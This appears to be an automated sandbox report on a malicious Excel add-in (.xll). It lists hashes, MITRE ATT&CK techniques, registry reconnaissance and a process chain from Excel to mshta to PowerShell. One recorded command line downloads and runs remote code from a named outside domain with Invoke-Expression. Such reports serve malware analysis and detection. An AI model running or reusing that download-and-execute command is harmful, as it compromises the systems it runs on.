8f0e6a138d43f9a6782bb76c3497c7dcc7ebdca0f368e09951479f844b820043

General

Target

8f0e6a138d43f9a6782bb76c3497c7dcc7ebdca0f368e09951479f844b820043.xll
Size

12KB
MD5

282278f384d937d88bd27fbe9adaabea
SHA1

37ba83a7bbd55428a93909209aa5a3cf908b8146
SHA256

8f0e6a138d43f9a6782bb76c3497c7dcc7ebdca0f368e09951479f844b820043
SHA512

c77f8dde0a0cc34c23a86181ebd126897015ff908e2e80ff01f6e8e4d88622d9048faa6d27417cdd38757f444b29f0f7219b39f7eb9ac8ec615f509b38d93bdd
SSDEEP

192:iL29RBzDzeobchBj8JON8ONEOf+rulrEPEjr7Ah/:829jnbcvYJOJp6ulvr7C/

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	720	1188	mshta.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

66 2492 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation mshta.exe
Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid process

1188 EXCEL.EXE
1188 EXCEL.EXE
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2492 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
66	2492	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
1188	EXCEL.EXE
1188	EXCEL.EXE

pid	process
2492	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1188 EXCEL.EXE
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1188 EXCEL.EXE
1188 EXCEL.EXE
Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

1188 EXCEL.EXE
1188 EXCEL.EXE
1188 EXCEL.EXE
1188 EXCEL.EXE
1188 EXCEL.EXE
1188 EXCEL.EXE
1188 EXCEL.EXE
1188 EXCEL.EXE
1188 EXCEL.EXE
1188 EXCEL.EXE

pid	process
1188	EXCEL.EXE

pid	process
1188	EXCEL.EXE
1188	EXCEL.EXE

pid	process
1188	EXCEL.EXE
1188	EXCEL.EXE
1188	EXCEL.EXE
1188	EXCEL.EXE
1188	EXCEL.EXE
1188	EXCEL.EXE
1188	EXCEL.EXE
1188	EXCEL.EXE
1188	EXCEL.EXE
1188	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEmshta.exe

description	pid	process	target process
PID 1188 wrote to memory of 720	1188	EXCEL.EXE	mshta.exe
PID 1188 wrote to memory of 720	1188	EXCEL.EXE	mshta.exe
PID 1188 wrote to memory of 720	1188	EXCEL.EXE	mshta.exe
PID 720 wrote to memory of 2492	720	mshta.exe	powershell.exe
PID 720 wrote to memory of 2492	720	mshta.exe	powershell.exe
PID 720 wrote to memory of 2492	720	mshta.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8f0e6a138d43f9a6782bb76c3497c7dcc7ebdca0f368e09951479f844b820043.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1188

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:720

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
PID:2492

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4140 --field-trial-handle=2692,i,8678872182442199182,12502579059484928042,262144 --variations-seed-version /prefetch:8
1⤵
PID:4396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\BHC2O5WS\d[1].htm

Filesize
2KB

MD5
f754844cfb65838d1dd6b19dde5d835c

SHA1
b3eb677783adc88c8d048898449e04d49f416db6

SHA256
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

SHA512
f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\8f0e6a138d43f9a6782bb76c3497c7dcc7ebdca0f368e09951479f844b820043.xll

Filesize
12KB

MD5
282278f384d937d88bd27fbe9adaabea

SHA1
37ba83a7bbd55428a93909209aa5a3cf908b8146

SHA256
8f0e6a138d43f9a6782bb76c3497c7dcc7ebdca0f368e09951479f844b820043

SHA512
c77f8dde0a0cc34c23a86181ebd126897015ff908e2e80ff01f6e8e4d88622d9048faa6d27417cdd38757f444b29f0f7219b39f7eb9ac8ec615f509b38d93bdd

Download Submit
memory/1188-12-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download
memory/1188-6-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download
memory/1188-15-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download
memory/1188-5-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download
memory/1188-13-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download
memory/1188-7-0x00007FF881A90000-0x00007FF881AA0000-memory.dmp

Filesize
64KB

Download
memory/1188-8-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download
memory/1188-16-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download
memory/1188-9-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download
memory/1188-11-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download
memory/1188-0-0x00007FF881A90000-0x00007FF881AA0000-memory.dmp

Filesize
64KB

Download
memory/1188-14-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download
memory/1188-4-0x00007FF881A90000-0x00007FF881AA0000-memory.dmp

Filesize
64KB

Download
memory/1188-1-0x00007FF881A90000-0x00007FF881AA0000-memory.dmp

Filesize
64KB

Download
memory/1188-10-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download
memory/1188-17-0x00007FF87F9A0000-0x00007FF87F9B0000-memory.dmp

Filesize
64KB

Download
memory/1188-19-0x00007FF87F9A0000-0x00007FF87F9B0000-memory.dmp

Filesize
64KB

Download
memory/1188-3-0x00007FF8C1AAD000-0x00007FF8C1AAE000-memory.dmp

Filesize
4KB

Download
memory/1188-2-0x00007FF881A90000-0x00007FF881AA0000-memory.dmp

Filesize
64KB

Download
memory/1188-42-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download
memory/1188-63-0x00007FF881A90000-0x00007FF881AA0000-memory.dmp

Filesize
64KB

Download
memory/1188-64-0x00007FF881A90000-0x00007FF881AA0000-memory.dmp

Filesize
64KB

Download
memory/1188-66-0x00007FF881A90000-0x00007FF881AA0000-memory.dmp

Filesize
64KB

Download
memory/1188-65-0x00007FF881A90000-0x00007FF881AA0000-memory.dmp

Filesize
64KB

Download
memory/1188-67-0x00007FF8C1A10000-0x00007FF8C1C05000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads